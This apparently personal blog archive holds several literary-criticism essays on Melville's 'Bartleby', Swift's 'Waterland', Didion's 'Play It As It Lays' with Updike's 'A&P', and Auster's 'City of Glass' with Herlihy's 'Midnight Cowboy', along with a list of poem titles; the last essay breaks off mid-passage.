Melville’s vivid use of imagery in the description of the office in which Bartleby is “entombed” allows the reader to imagine a lifeless, claustrophobic room, as the narrator states “deficient in what landscape painters call ‘life’”. The use of the green flimsy screen, to separate the narrator from the workers, symbolises the fragility of the class divide. This is emphasised when the narrator considers the alternative should Bartleby’s actions prove to be copied (again symbolic irony) by others in Wall Street. Of course, the entire system of property owning, and the principle of ownership itself, is dependent upon accurate and reliable record keeping. Bartleby in “preferring not to” check his work and thus safeguard the reliability of the information that they are recording is highly significant. The narrator eventually abandons Bartleby by moving away from him. (Marx L., 1953)

The symbolism of the green flimsy screen is important: it demonstrates the delicate nature of that which separates the classes, rendered even more precarious when Bartleby utters the words “I would prefer not to”. It also evokes an obvious image of something green and thus nature, this in turn is juxtaposed against the dim almost dingy image of the office environment that Melville describes. This negative description of the working environment, for Bartleby his home, together with the negative portrayal of the tedious nature of the work is an indictment of capitalism. Humans, reduced to the role of machines, forced to comply with a way of living that will not allow them to achieve their full potential, become subsumed within a group. The character of Bartleby neatly portrays the fundamental beliefs of Transcendentalism at the same time as showing that they may ultimately not be achievable. The ultimate tragic demise of Bartleby demonstrates that his stand was futile. (Widmer K., 1969)

The phrase “I would prefer not to”, on a close reading and consideration of the text, conveys the message of the whole story in one phrase: It is saying that as humans we should all be able to live as we would prefer and emphasises the importance of self in striving for divinity. It is therefore extremely useful, and important, when analysing the meaning of the text.

BibliographyAnderson, Walter. “Form and Meaning in ‘Bartleby, the Scrivener.’” Studies in Short Fiction 18 (Fall 1981): 383-93.

Marx L., 1987, “Melvilles Parable of the Walls”, in Herman Melville’s Billy Budd, Benito Cereno, Bartleby the Scrivener and Other Tales, Chelsea House Publishers, Philadelphia, pp.11-29

Melville H., 1853, Bartleby the Scrivener : A Story of Wall-Street

O’Toole H., 2003.The Blackness of Men’s Souls: Why Nathaniel Hawthorne could not Embrace Transcendentalism. Bridgewater, Virginia,


College Press.

Sten, C. W., 1974, “Bartleby, the Transcendentalist: Melville’s Dead Letter to Emerson.” Modern Language Quarterly 35: 30-44

Weinstein, C., 1998, “Melville, Labor, And The Discourses of Reception”, in The Cambridge Companion to Herman Melville, ed. Robert S. Levine, Cambridge, England, Cambridge University Press, pp. 202—223

Widmer, K., 1969, “Melville’s Radical Resistance: The Method and Meaning of ‘Bartleby.’” In Studies in the Novel 1 (1969):pp 444-58.

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Waterland by Graham Swift: Analysis of Chapter Fourteen Wed, 29 Aug 2007 11:56:27 +0000 Ivor Griffiths This essay will critically analyse chapter fourteen of Waterland by Graham Swift and establish that it is in the style of a self-conscious lesson in history directed at the reader. In its form it will be shown to be metafiction linking history telling and story telling (Hutcheon 1989). That as a chapter it is a lesson about history and post modernist literary theory. Form, content and literary devices, used by the text, will be considered in making this argument, and establish that the key preoccupations of the whole text are encapsulated within it. These are metaphoric devices of the river representing the circularity of history; silt as representative of progress and history; the French Revolution, grand narratives and the destructive nature of society are also considered in the text.

The title of the chapter “De la Revolution”, French for revolution refers to the French Revolution which is linked to the age of enlightenment and Jean-Jacques Rousseau who considers the nature of man and his environment in the eighteenth century. He argues that it is not natural for humans to live in society. Rousseau considered a division between society, which he sees as negative, and human nature. He considers human nature fundamentally good but corrupted by society. He considered humans living in a natural environment, free from the trappings and rules of civilization as independent, self-sufficient and good, in his essay, Discourse on the Arts and Sciences written in 1750. The text refers to it as “Rousseau’s cry of back to nature” (Swift 1983 p.137). All the major characters in the text are in some way corrupted by civilization’s touch. For Rousseau society is artificial, like the land reclamation in the text, and social interdependence, which he considered destructive of humanity, is symbolized by Mary’s abortion. The power of the Atkinsons and Tom Crick’s lack of it is symbolic of the inequalities of society first exposed by Rousseau. This is referenced in chapter fourteen when Crick is telling the reader in the form of a lesson, that

“So-called forward movements of civilization, whether moral or technological, have invariably brought with them an accompanying regression.” (Swift 1983 p. 135).

Crick explains how printing presses led to propaganda, steam engines to “ten year olds working sixteen hours a day in coal mines” (Swift 1983 p.136) and airplanes to the destruction of European cities. He refers to the splitting of the atom: “And as for the splitting of the atom—” (Swift 1983 p.136). The text in this phrase is in its own paragraph, an encapsulation of the grammatical and punctuation devices used throughout the text. This phrase shows the metafictional nature of the text, self-consciously narrating history as a series of stories; Linda Hutcheon calls it “historiographic metafiction”.

“And” beginning a sentence is generally considered bad grammar, but it is a device used throughout the text. Deviations from accepted rules of textual structure are typical of postmodern metafiction questioning established norms. Patricia Waugh defines metafiction as:

“fictional writing that draws attention to itself as an artefact” (Waugh 1984 p.2)

Metafiction self-consciously and regularly draws attention to itself as a book in order to examine the interface and dynamic between fiction and reality. This definition assists in understanding Chapter fourteen. It is written in the form of a lesson, addresses both readers and students in the class, it switches points of view and from addressing the reader to the scene in the class. This exploration of the narrative structure and consideration of the nature of the world outside the text as potentially fictional or misrepresented is typical of metafiction as defined, written in a postmodern style. It helps in understanding that issues are explored in the text by using “the metaphor of the book as world” (Waugh 1984 p.3) environment or grand narrative and then reshapes it in terms of contemporary thought in fields of philosophy, literature and language. It aids our understanding of the impication implied in postmodern metafiction like Waterland that says people have roles rather than self will and the consequences of other’s actions are a predominant feature of their lives (Rousseau refers to self will as self-sufficiency). This leads the reader to the logical conclusion that worlds and environments formed entirely from words are legitimate models for the examination of reality as a construct. This is what Waterland does in this chapter and is what Crick is teaching us, and does throughout the text as a whole, in terms of structure, content, style and grammatical devices – especially unexpected uses of grammar and punctuation – which draw attention to the metafictional voice of the text.

The metaficional lesson of this chapter and the text as a whole concens the negative impact of progress, supported by referring to the French Revolution, demonstrating the nature of history to distort the past, showing it to Modernists at least as a golden age: leading to a natural desire to revert to it. The title of the chapter refers to revolution, which also means circular and recursive, the lesson about history, Crick teaches his readers and pupils, is that a revolution involves going backwards in history to something better that exists, for post modern texts only in stories, no more reliable than the text that is speaking to the reader. The River Ouse is recursive potentially able to spread causing destruction unless contained by humans, like history and progress. The French Revolution is a symbol of attempts by society to retreat back into history and the destructive consequences of that. The theme of the text as a lesson continues in lessons, elsewhere in the text, about eels, land reclamation, the Ouse and silt. The message that the historical metaphor silt, inevitably returns to change the course of progress or the river, causing causes recursion or changes in direction, is constant throughout the text and present in this chapter. It describes history as an “Impedimenta” (Swift 1983 p.136) an “ever-frustrating weight”(Swift 1983 p.136), furthermore that it “…accumulates, because it gets always heavier…” (Swift 1983 p.136) this is also a description of silt; silt that “potato-heads”, like Dick, dredge up but becomes harder and harder to bring to the surface as it becomes ever larger and unmanageable, like history. Dick is the metaphorical hapless historian, dredging, the consequences “become more violent and drastic” (Swift 1983 p.137) the more dredging is done: Dick dies on the dredger. This is how Crick explains the “periodic convulsions” (Swift 1983 p. 137) of history. He refers to it as Natural History that seeks to take humanity back to “where we were” (Swift 1983 p.137), a reference to Rousseau’s view that humans are happiest living naturally. Crick considers the French revolution in some detail. The chapter, up to this point is delivered in third person limited to the perception of Crick. When the text begins to be more specific and consider the French Revolution the narrative voice becomes first person, as Crick, and is addressing the reader, the narrative is extremely self conscious at this point and addressed directly to the reader as a pupil. These shifts reflect the river, perception and reality as chaotic. At the end of this passage is another long dash which then leads into a first person narrative that utilizes mainly dialogue between Crick, now teaching in the classroom, and Price. Price is questioning the relevance or use of history. This is a metafictional device used by the text to consider post modernist theories of history and the importance of grand narratives. The voice of the chapter and the text is male, history and its relevance is considered from a male perspective, it is implicit from this that history itself is a male construct. The main characters in the French revolution were male. The lone female voice in this chapter is that of Judy Dobson who is described as a “perky answerer” (Swift 1983 p.139) she says “the voice of the people is the voice of God”(p.). A phrase used in the media to describe the opinions of “the man on the street”, quotes of which are usually edited. This girl in the book is portrayed then as an untrustworthy commentator, symbolic of the distain with which historical grand narratives consider female opinion and experience. Crick considers the meaning of “the people” by completely ignoring the girl’s opinion. Crick explains the pliable nature of history and its unreliability. The lesson directed at Price, emphasizes that history is for men. Crick says

“Price…the more you try to dissect events, the more you lose hold of them – the more they seem to have occurred largely in people’s imagination…” (Swift 1983 p. 140)

The theme, that history is male and both men and women suffered because of progress, is underlined by the fate of the female characters in the text: Mary losing a child, becoming infertile and then being committed, her mother’s and grandmother’s suffering. The text tells us that Dick is the product of a powerful, perverted and controlling man – a symbol of the corrupting nature of society. Dick’s father is a symbol of the futility of progress as he oversees the decline in his family fortunes and the beginning of the demise of the lock, control of the

Fens, the Ouse and Silt, ultimately arriving at Tom Crick, the narrator. The major premise of Post Modern metafiction is skepticism at the representation of history in grand narratives.

Enlightenment philosophers, like Rousseau, argued scientific thinking could examine all human activity and question everything – religion and authority especially. Prior to The Age of Enlightenment it was forbidden to challenge dogmatic, usually religious, theories. The Age of Enlightenment advanced ideas that reason and logic are able to establish an objective understanding of the universe.

Modernist writers have a mournful view of history as fragmenting and mourn its passing and do not question the validity of history and progress. Modernist literature considers that there is an overall purpose to human existence and views history and the loss of old values as a critical. The text obliquely criticises this view: “History is the record of decline. What we wish upon the future is very often the image of some lost, imagined past.” (Swift 1983 p.141)Price is mocking of the post modern approach to Crick taught in the lesson, he argues that to want a future does not equate to a yearning for paradise lost:“Never said anything about paradise. But – I want a future.”Price completely misunderstands Crick’s critique of Modernism. Modernists utilize narratives with multiple narrators, for example William Faulkners As I Lay Dying, showing an event from multiple perspectives as subjective and fragmentary and so history as fragmented and presenting this as a loss. Post Modernism celebrates this fragmentation. Crick is an example of it when narration changes from first to third person. Linda Hutcheon explains that Post Modernism is “not so much a concept as a problematic: a complex of heterogeneous but interrelated questions which will not be silenced by any spuriously unitary answer” (Hutcheon 2002)Jean-François Lyotard in The Postmodern Condition: A Report on Knowledge, explains the grand narrative. Stories are the original historical narratives. History once consisted of them leanding credibility to “facts” recorded, establishing social norms of behavior to protect existing power structures. Grand Narratives refer to the Koran and Bible. In his view these books confer credibility to the opinions and rules expressed. “Simplifying to the extreme, I define postmodern as incredulity towards metanarratives”. (Lytotard, 1984)Post Modernism rejects the mourning of a lost past. Chapter fourteen demonstrates that progress is inevitably damaging:“Why is it that every so often history demands a bloodbath, a holocaust, an Armageddon? And why is it that every time the time before has taught us nothing?” (Swift 1983 p.141)Post modernism accepts natural chaos and disorder as inevitable symbolized in the text by the bloodbath that is Mary’s abortion and in this chapter by referring to the Reign of Terror orchestrated by Robespierre. The idea that grand narratives can organize humanity socially is discredited in this text and reality. The collapse of communism in Russia and the secular nature of the

United Kingdom are examples of rejection. Changes in

China consequent to Mao’s death and the Polish shipyard strikes were the first signs of these changes that were contemporary to Waterland. The chapter concludes as the narrator, in first person poses a series of questions. Then says the French Revolution resulted in Napoleon, ironically referring to Rousseau’s Golden Age. The circularity of history is once again explained by Crick who ends by running straight into the next chapter, like water, into the Ouse, a vast expanse of history that will swallow this story with all the others.

This chapter highlights the mythological and potentially fictional nature of the past as a golden age; it questions the reliability of history, as recorded in grand narratives, in the post-modern tradition, utilising the device of metafictional narration. The chapter and text argues and demonstrates that preoccupation with the past can be damaging, and that one can never fully know what the past is because it is a collection of stories surrounding events, like the text. The end of the chapter leads straight into a chapter about the Ouse, emphasising the unending, but all consuming power of an unreliable history to shape the future. This failure to end the chapter occurs in the whole text as there is no final resolution to narrative.

Word Count 2100


Alphen E. V. (1994) The Performativity of histories Graham Swift’s Waterland as a theory of history, The Point of Theory, Amsterdam University Press:


Peter Barry, Beginning Theory, 2003,


University Press:


Decoste D. M. (2002) Questions and Apocalypse: The Endlessness of Historia in Graham Swift’s Waterland, Contemporary Literature, Vol. 43, No. 2. pp. 377-399.

Faulkner, W. (2004) As I Lay Dying,

London: Vintage Classics

Hutcheon L. (2002), The Politics of Postmodernism Routledge:


Janik D. I. (1989 )History and the “Here and Now”: The Novels of Graham Swift Twentieth Century Literature, Spring. Vol. 35, No. 1.), pp. 74-88.

Lyotard, J. F. (1979) The Postmodern Condition: A Report on Knowledge.


University Press:


Rousseau Jean-Jasques(1762) )(translated with an Introduction by G.D.H. Cole (1913))The Social Contract or Principles of Political Right J. M. Dent and Sons:London and

Toronto.Rousseau Jean-Jasques(1754)( translated with an Introduction by G.D.H. Cole (1913)), Discourse on the Arts and Sciences J. M. Dent and Sons:London and


Schad J. (1992) The End of the End of History: Graham Swift’s Waterland, Modern Fiction Studies, (Winter) 38:4 (911-25) (JSTOR)

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Hemel Hempstead

Swift G. (1983) Waterland Heinaman:


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London Widdowson P. (1995) Graham Swift: Waterland, Newstories: fiction, history and the modern world Critical Survey, volume 7 number 1

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Play it as it Lays by Joan Didion – Essay Wed, 29 Aug 2007 11:53:56 +0000 Ivor Griffiths This essay will critically analyse, compare and contrast the representation and interrogation of American culture in an era of post-modernity, considering, in so doing, the writers’ styles, techniques and choice of theme.

Maria represents modern

America: self indulgent, shallow, self-harming but regretting a loss that she engineered herself. The abortion symbolises the loss of traditional values, that are replaced by selfish and uncaring attitudes, exemplified by Maria and the other main characters in Play It As It Lays.

In A&P Sammy represents those trying to break out of a fixed dominant culture of capitalism, powered by consumerism and work. He wants to be free, to live the perfect consumer life. Sammy’s character fantasises about parties that Maria is likely to attend, he would probably envy Carter’s life but not Maria’s.

Post-modernism describes a broad change in attitudes and thinking which began in the early part of the twentieth century. Postmodern thinker Jean-François Lyotard (1984) believed Postmodernity represented the end of the process of modernity, leading to quicker cultural change. “Post-modern” refers to a belief in the collapse of absolute truth or identities and “grand narratives.” These would include the Bible, Koran and Maos Red Book. Jean Baudrillard (1998) argues in a philosophical treatise, Simulacra and Simulation that society substitutes all reality and meaning for symbols and signs and what we know as real is a simulation. The simulacra are the signs of culture and media creating the “reality” that we perceive. Society becomes overwhelmed with imagery, man made sounds, media and advertising. This simulacrum eventually becomes hyperreal, more real than real, presupposing reality. Apathy and misery break down Nietsche’s feeling of ressentiment (a state of repressed feeling and desire which generate of values.) Our misconceptions of reality shaped by simulacra create our values, which are thus distorted. Hollywood and

Las Vegas deal in imagery and copies or representations of things, or simulations. Play It As It Lays is set in Hollywood,

Las Vegas and the Desert, all of which are shown to be empty in different ways. Maria, Carter, BZ, Helene and the actor, with others, create artificial reality. Baudrillard (1998) would say they are simulacra. If so, they are also the victims of suppressed ressentiment. For example Maria is devoid of feeling and BZ kills himself. In A&P, the environment is also artificial, it is a sales environment, fluorescent light, air-conditioning, images of goods, advertising and packaging are all aiming to influence behaviour by making a visitor buy things they may not need or want.

Thematically throughout the text Didion asks us to consider life in an era of post modernity. What if our life was a void of artificiality, lacking in morals, where recreational drugs are the norm, conversations and beliefs are vacuous and where people had no feelings for each other? Maria inhabits this world symbolising American post-modern attitudes. In A&P Sammy imagines the life that three women live, he is so drawn to this illusory life that he quits his job to go and find it. We read hints of Maria’s inner self. The redeemable part of her character and America Maria tells us that causing the emptiness is the abortion. ‘Don’t cry,’ he said. ‘There’s no point.’ ‘No point in what.’ ‘No point in our doing any of those things.’ He looked at her for a long while. ‘Later,’ he said then. ‘I’m sorry.’ ‘It’s all right.’ (p.133)
The abortion symbolises the loss of values that have been replace by simulacra. The extract below refers to it obliquely:
They mentioned everything but one thing: that she had left the point in a bedroom in Encino.”(p. 133)Maria by the end of the book is in complete despair and despondent. In a very short chapter, entirely in italics to emphasise it is Maria speaking, chapter eighty two shows that Maria is looking ahead to a simple life canning fruit, but acknowledging her past misery and her problem with “as it was”.“I used to ask questions, and I got the answer: nothing. The answer is ‘nothing.’“(p.209)

This emptiness is reflected in the images of the desert. By chapter eighty four, Maria is observing closely small incidents. A hummingbird flying, coins falling in water and sunlight. Maria visualises like a film, in short scenes, becoming artificial, confirming her status as simulacra and victim of simulation.

Sammy as a character is not as developed, the length of the piece does not allow it. We learn of his misogyny but are not shown the things that really move him, other than his desire for a different life. His perception of “Queenie’s” life can only be based on what he has seen and read or heard, Baudrillard’s simulacra.

Play It as It Lays in its style reflects post modernist thinking; replacing the grand narrative with smaller narratives. A&P must make a point concisely. Economy of language, precision of imagery and dialogue is fundamental to its success. Updike demonstrates care and precision in his use of language and grammar, in his use of quotation marks in A&P. For example:

The girls, and who would blame them, are in a hurry to get out, so I say “I quit” to Lengel quick enough for them to hear, hoping they’ll stop and watch me, their unsuspected hero.

Sammy quitting is the significant event in the story; he has used quotation marks to emphasise it in the middle of a longer sentence. Updike wants us to read closely. Showing the reader the feelings of a young man spontaneous but uncertain.Play it as it lays employs a cinematic style, short scenes. The chapters are not always in sequence, films are not shot sequentially. In many chapters, the style is like a script. Short chapters, for example chapter forty, suggest life is a random set of scenes, no purpose or great plan. This chapter is mainly dialogue; the purpose to demonstrate a spontaneous, privileged and self-indulgent life and Maria controlled by BZ. Like a scene in a script. Imitating

Hollywood and showing the shallowness of characters. Chapter twenty six shows her asserting herself, using the word “very” repeatedly shows she can do virtually whatever she wishes whenever she wants with no consequences. Didion explores the effect of a nakedly capitalist, consumerist and privileged environment, where inhabitants do not interact on any emotional level, on Maria. The defining moment in the book is the pregnancy and abortion, which changes her life and makes it mean nothing.

The male characters have no genuine feeling for her and often hurt her, like Carter, who made her get the abortion. The abortion is central to the character’s thinking and actions thereafter. It surfaces in her conscious when pushed there by her subconscious, depicted in dreams, which get progressively worse. Maria regrets the abortion and explores guilt. The hypnotist sessions are examples. She seeks to regress to her foetal state. When asked if she can remember is evasive and talks about traffic. Does she know her foetus was aware? She hints at it when expressing concern at what happened to it and grieves for it. The dreams are also simulations, the hypnotism seeking to recreate as a memory an existence is a simulacra. She dwells on it throughout the book:

“ …she bought a silver vinyl dress and tried to stop thinking about what had he done with the baby. The tissue. The living dead thing, whatever you called it. (p.114)

This passage shows us that she believes it to have been a baby. She then tries to diminish this by referring to it as tissue. She has trouble with “as it was” because of this event.

Simulation is symbolised by the drugs and alcohol consumed that influence her dreams, her perception of reality and distort her values. The theme of distortion, the tools that are available to alter perception, and thus reality, runs throughout the book. Sleeping pills, tranquilisers, cannabis, alcohol and tobacco are all used. An unseen third person narrates the story. The reliability of the information provided by the narrator may be questionable when Maria provides it to the narrator. She is like a person with no ressentiment.

The protagonist in A&P is a man. Didion is a woman but Maria is not portrayed sympathetically. She does something many may disagree with, has an abortion. Sammy on the other hand is a young, attractive, heterosexual modern day knight in shining armour. He makes a sacrifice on behalf of three damsels in distress. A hollow gesture, it is a symbolic protest against consumerism, the values and rules that accompany it. The store represents

America, the manager the government, the sheep or shoppers are the people. Sammy rejects this society, symbolising youthful rebellion, which is often shallow and short-lived. He longs for the life that he imagines “Queenie” and her friends live. Imagining that life, informed by what he has seen or read in the media, or film, or heard on the radio. Simulacra, he has no idea of what her life is really like.

Sammy is a hero, albeit misogynistic. In his consideration of the three women, Sammy dwells on their physical attributes and attractiveness in a lingering manner. The reader gets the sense of ogling and scrutinising objects of desire rather than human beings. The descriptions are long and detailed, this contrasts with the descriptions of older women which are very brief. He gives the most attractive one a name, “Queenie”. She is the queen, the most beautiful. He judges women purely by appearance.Maria is a character with whom many readers would not identify and toward who would have difficulty feeling any sympathy. She is promiscuous and does not even apologise to Carter for being pregnant with possibly another man’s child. Abortion at the time the story is set was at the cutting edge of liberal and modern thinking, illegal and unacceptable in many states. Casual sex was also an emerging pastime and not widely approved of. Maria is an anti-hero. Many modern anti-heroes encapsulate the rejection of traditional values; they are reckless and self destruct. Maria does this here. There is no redemption or success for Maria. She is self destructive and reckless repeatedly, taking drugs, confronting car thieves and sex with strangers. Sammy also, in his decision to quit the store, but is portrayed more positively and humorously than Maria. There is no grand gesture from her, just nihilism followed by a retreat into hospital. She is hiding from a reality that she has only imagined. In the last chapter she tells us that “On the whole I talk to no one.” (p213). A&P’s theme considers transition to adulthood. Acting or thinking differently from immediate family, friends or colleagues, possibly disappointing or alienating them. The change is profound for Sammy. He is 19, finished school, bored and working. The girls unwittingly make him think he may miss out unless he asserts himself. His parents helped Sammy get the job. He lives at home in the environment his parents created. He is working class, implied by his memories of parties at his parents’ home: lemonade for the neighbours, Schlitz in tall glasses if the party is more sophisticated. He imagines well-dressed people eating gourmet snacks and sipping exotic drinks from frosted glasses, he longs for the girls, especially “Queenie”. Sammy rejects his role quitting his job and removing the class uniform asserting his individual identity, not his parents’ or A&P’s. Rejecting Stokesie’s life, of being trapped, he is a shallow character who sees women as objects, feeling sorry for a man who has a relationship, implying that he wishes only to use women. He gives lengthy descriptions of the three single and young women but older and married women with children are dismissed as “witches” or “marrieds”. His parents’ think what happened was sad. At the end of the story, Sammy knows how hard the world will be from now on. He does not think it sad though. Symbolising freedom, individuality and sexual liberation are “Queenie” and her friends. Wealthier, younger, attractive and wearing fewer clothes than an average shopper does. The manager, representing the government, chides them for being different. “ “We are decent,” Queenie says suddenly, her lower lip pushing, getting sore now that she remembers her place, a place from which the crowd that runs the A&P must look pretty crummy ” .

Unwritten and little spoken about standards of decency are at issue. Queenie is flaunting this code in front of the A&P manager. Petty rules made by Government are represented here.

Maria fails to have meaningful lasting relationships, it is not clear if this is her choice. Sammy does not want a relationship. All of the men Maria deal with are powerful or successful, Carter, BZ and the actor with the Ferrari. They all abuse or use her. On the other hand, like BZ, perceive her to be her screen persona that he then falls in love with. Showing the destructive power and futility of such simulacra, he kills himself. This incident shows how desensitized and remote from the pain of others Maria has become to hide her own interior pain. She has no values and has lost all ressentiment. Men view her as an object, for their own gratification. They have money and power, so can and do use her. Sammy can only express a misogynistic view of women and make a futile and empty gesture. He cannot act on his misogyny, like BZ and Carter. No women have any intelligence for Sammy; they are pure objects, to satisfy the “male gaze”. Updike shows us this attitude concisely:

“You never know for sure how girls’ minds work (do you really think it’s a mind in there or just a little buzz like a bee in a glass jar?)…”

The manager insults the three girls openly and without a second thought and so they leave. This is a minor incident but demonstrates patriarchal power.

Didion exposes this power naked and raw, dragging the reader into a heartless male dominated artificial world. She uses the environment of the desert to show us the emptiness that Maria feels. With Hollywood and

Las Vegas she shows us the emptiness of post modern humanity and the effect it has on victims like Maria and Kate. Updike shows us in an understated, light hearted and humorous style the power of men, capitalism and the power of dreams to influence behaviour.

Bibliography Updike, J. “A&P.” 2004, Literature, A Portable Anthology. Ed. Janet Gardner, Beverly Lawn, Jack Ridl and Pete Schakel.

Bedford St.

Martin’s. (pp. 271-275.)

Didion, J., 1970, Play It As It Lays.

New York: Pocket Books.

Foust, Ronald. “Family Romance and the Image of Woman’s Fate in Play It as It Lays.” Journal of Evolutionary Psychology 5.1-2 (Mar 1984): 43-54.

Wolff, C. G. “Play It As It Lays: Didion and the Diver Heroine.” Contemporary Literature 24.4 (Wint 1983): (pp. 480-495.)

Bush, M L, 1984, The Use of Narrative Devices In the Fiction of Joan Didion.




Babich, B E., 1990, Nietzsche and the Condition of Postmodern Thought In Koelb, Clayton, ed., Nietzsche as Postmodernist

Albany:SUNY Press,.Jean Baudrillard, 1998, Selected Writings, ed Mark Poster. Stanford: Stanford University Press, pp.166-184.

Bloom, H., 2000, ed. John Updike: Bloom’s Major Short Story Writers.

New York: Chelsea House, (p. 104)

Lyotard, F. (1984) The Postmodern Condition: A Report on Knowledge originally published in

Paris in 1979

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Early Poems Wed, 29 Aug 2007 11:26:05 +0000 Ivor Griffiths These are some early poems that I have now decided not to develop. They are however all copyright. Enjoy.

  • Emotional Cripple
  • Fugitive is
  • Grey Scale
  • Guardian Angel
  • I don’t like the Settee take it back
  • I remember the gasworks’
  • Iron Lung is Noisy
  • The Mole Catcher
  • Knifed
  • Los Angeles in September
  • Magic Medicine
  • Nightmare sticks
  • Sentimental Reminiscence
  • Septuagenarian Suicide Pact
  • Silverdale
  • The Mole Catcher
  • the undertakers son
  • The Weaver inspired by Theodore Roethke’s “The Waking”
  • Tough Guy
  • Transitory termination can be a good thing
  • Wasp in the room
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    City of Glass Paul Auster & Midnight Cowboy James Leo Herlihy Wed, 29 Aug 2007 11:16:16 +0000 Ivor Griffiths “[T]he tremendous claustrophobia of the city is designed to hide what the city really does, which is to divorce us from a sense of reality and to divorce us from each other.”(James Baldwin) Both Paul Auster’s City of Glass and James Leo Herlihy’s Midnight Cowboy consider the impact that

    New York City can have upon its inhabitants. However, neither text supports the idea that claustrophobia is a design tool that has been carefully incorporated by town planners to hide what the city really does, as if it is a conspiracy. It may be that claustrophobic conditions are a factor in the effects of city life that

    Baldwin put forwards in his argument; but neither text goes as far as to say it is a deliberate cloaking device. Both texts do however dwell on the living conditions and environment of the

    New York City dweller: apartments, X-flats, alleys and streets, which by their nature may be claustrophobic for some. The texts, in different ways, support the idea that “cities divorce us from a sense of reality and…each other.” (

    These ideas: loss of identity, isolation, environment and the perception of reality will be critically considered in the two texts under consideration. Auster has as his main character a private investigator who experiences a metamorphosis as a consequence of a misdialled telephone number, the action in the novel begins and ends in

    New York. Herlihy on the other hand uses the cliché of a young character leaving home to find a better life in the city, Gelfant (1970) describes this as a “portrait study” (Gelfant 1970 11). Herlihy subtly distorts the cliché by making Joe Buck leave Houston, which is of course a city, to journey across America to exercise his sexual prowess in

    New York and make money from doing so. In this way the naiveté, that is part of the clichéd country boy being tricked and conned in the city, is exchanged for the naiveté of a cowboy, which is of course symbolic of the masculinity and power of American men. He uses the iconography of the Wild West cowboy to reveal the power of New York to change the identity of Joe Buck and so transform him from a naïve sexual predator to a male prostitute and eventually to a caring individual who leaves

    New York City. Auster uses another icon to achieve a similar impact, that of the private investigator. City of Glass charts the gradual loss of identity that Daniel Quinn experiences in a postmodern city, which Auster represents

    New York City as being.

    Part one of Midnight Cowboy introduces Joe Buck and provides details, by way of flashback, of his early life and his maturity into a libidinous cowboy. He is brought up by three women: ‘He had been raised by various blondes, one of whom was his real Mother. The first three, who brought him up to the age of seven, were young and pretty’ (Herlihy 1965 12) Joe did not distinguish between the three women “never certain which of them was which.” (Herlihy 1965 12). Joe does not have much in the way of male influence in his early life, and then without warning he is given into the care of Sally Buck, his grandmother, who worked long hours and left him in the care of “various cleaning women.” (Herlihy 1965 14). Sally had many “beaus” who “were ranchers who wore Western hats.” (Herlihy 14 1965). Most of them ignored Joe but one, Woodsy Niles, “taught him how to ride and a little of what Joe came to believe being a man was all about. However, like Sally’s other beaus he left “and Joe was left to pine for him as for a gone away father.” (Herlihy 1965 15). The text is making the point that a boy needs a male role model and if there is not a Father around then a boy will mimic whatever male gains his affection or respect and mimic that person: ‘But surely it was in this time of Woodsy Niles that Joe had begun to see himself as some sort of cowboy’ (Herlihy 1965 15) In contrast we learn nothing of Daniel Quinn’s early life. On the first page the text erroneously dismisses its relevance: ‘As for Quinn, there is little that need detain us. Who he was, where he came from, and what he did are of no great importance.’ (Auster 1985 1). Quinn did have a wife and son who are now both dead. The main protagonists of each text have experienced the loss of family, as has Rico Rizzo. Auster by avoiding any back story concerning Quinn focuses on the effect

    New York City has upon his identity. In doing so he examines, with the use of many literary references, the fragility of identity within a postmodern environment and so supports

    Baldwin’s thesis. However to do so is in itself a divorce from reality: As Herlihy rightly observes, in the metaphor of the cowboy, childhood experience shapes the person.
    Joe Buck’s arrival in New York, from

    Houston Texas, dressed as a cowboy demonstrates his naivety. He wanders about the city looking for a woman who will pay him to have sex with her. The first lady he encounters turns him down. The second then demands and receives payment from Joe in return for having sex with him. It is at this point in the text that Joe realizes he needs help:

    ‘He had to have some advice, that was all there was to it. The thought became an obsession: He wouldn’t do another thing in town until he’d found someone who knew the ropes and could give him some advice.’ (Herlihy 1965 119) As Oliver Twist had the Artful Dodger so Joe eventually meets Rico Rizzo. However, like Quinn, at this point Joe is living in

    New York amongst millions of people, who are crowded into high rise flats and offices, but he is completely isolated. The chance meeting that Joe has with Rizzo is a turning point in Joe’s life. The same device is used by Auster in the very first sentence of the text, but the chance meeting is replaced by a chance telephone call: ‘It was a wrong number that started it, the telephone ringing three times in the dead of night, and a voice on the other end asking for someone he was not.’(Auster 1985 1)

    Quinn writes detective fiction as Max Work, he has no friends and only works for six months of the year. The blurring of identity, that is so fundamental to postmodern literature, begins with the use of a pseudonym to publish his books. This is highlighted when Daniel Quinn pretends to be Paul Auster and believes he is accepting an assignment from the wife of Peter Stillman. This split personality that develops, echoing works like Dr. Jekyll and Mr. Hyde by Robert Louis Stevenson, is almost the sine qua non of what is now a clichéd postmodern device. This idea is again explored when Quinn goes to Grand Central Station. Quinn arrives early in order “to study the geography of the place,” (Auster 1985 50). The station is crowded and Quinn observes that Stillman could disappear “without much trouble” (Auster 1985 50). It is in this scene at the railway station, in a confined space amongst “the press of oncoming bodies” (Auster 1985 50) that the text explores the claustrophobic effect of crowds upon identity but not the idea that it is concealing a deeper, more malevolent purpose as

    Baldwin argues. As the scene continues Quinn recognizes Stillman from an old photograph. However this recognition is then blurred as he spots another man who has a face that “was the exact twin of Stillman’s.” (Auster 1985 56) He cannot be sure he is following the correct person but makes a choice and follows the less affluent appearing Stillman.

    He follows him around New York, making a map of his walks and seeks to divine meaning from them; there is a possible reference to The Tower of Babel and the text here is considering the idea of De Carteau (1988) that walking is itself like language and that the way a person walks and where that person walks has meaning, that the city is defined by the places that people go. Auster appears to discard this idea when it transpires that the person in question has a fascination with eggs and is possibly insane. After three meetings with Stillman, at which Quinn is disguised, he discovers that Stillman has disappeared. The power of the city to engulf identity and, as

    Baldwin argues, “divorce us from a sense of reality and to divorce us from each other”, is confirmed by Quinn’s symbolic use of disguise to change identities and by the text when Stillman vanishes:

    ‘Stillman had gone now. The old man had become part of the city. He was a speck, a punctuation mark, a brick in an endless wall of bricks. Quinn could walk through the streets every day for the rest of his life, and still he would not find him. Everything had been reduced to chance, a nightmare of numbers and probabilities. There were no clues, no leads, no moves to be made.’

    (Auster 1985 91)

    The contrast between the indoor life of Daniel Quinn, as Max Work, and the real life of a detective as Paul Auster is shown here. Detectives solve mysteries; they follow leads, examine clues and interpret events and the actions of people to provide meaning. The failure of Quinn to find any real meaning in the case undermines his sense of identity and reality. From this point in the text his identity begins to unravel. Quinn believed that he “could return to being Quinn whenever he wished” (Auster 1985 62). He stakes out Stillman Junior’s apartment, hiding and sleeping up an alley. He is completely isolated; upon leaving the alley one day, to obtain money, he sees himself in a mirror and does not recognize the reflection:

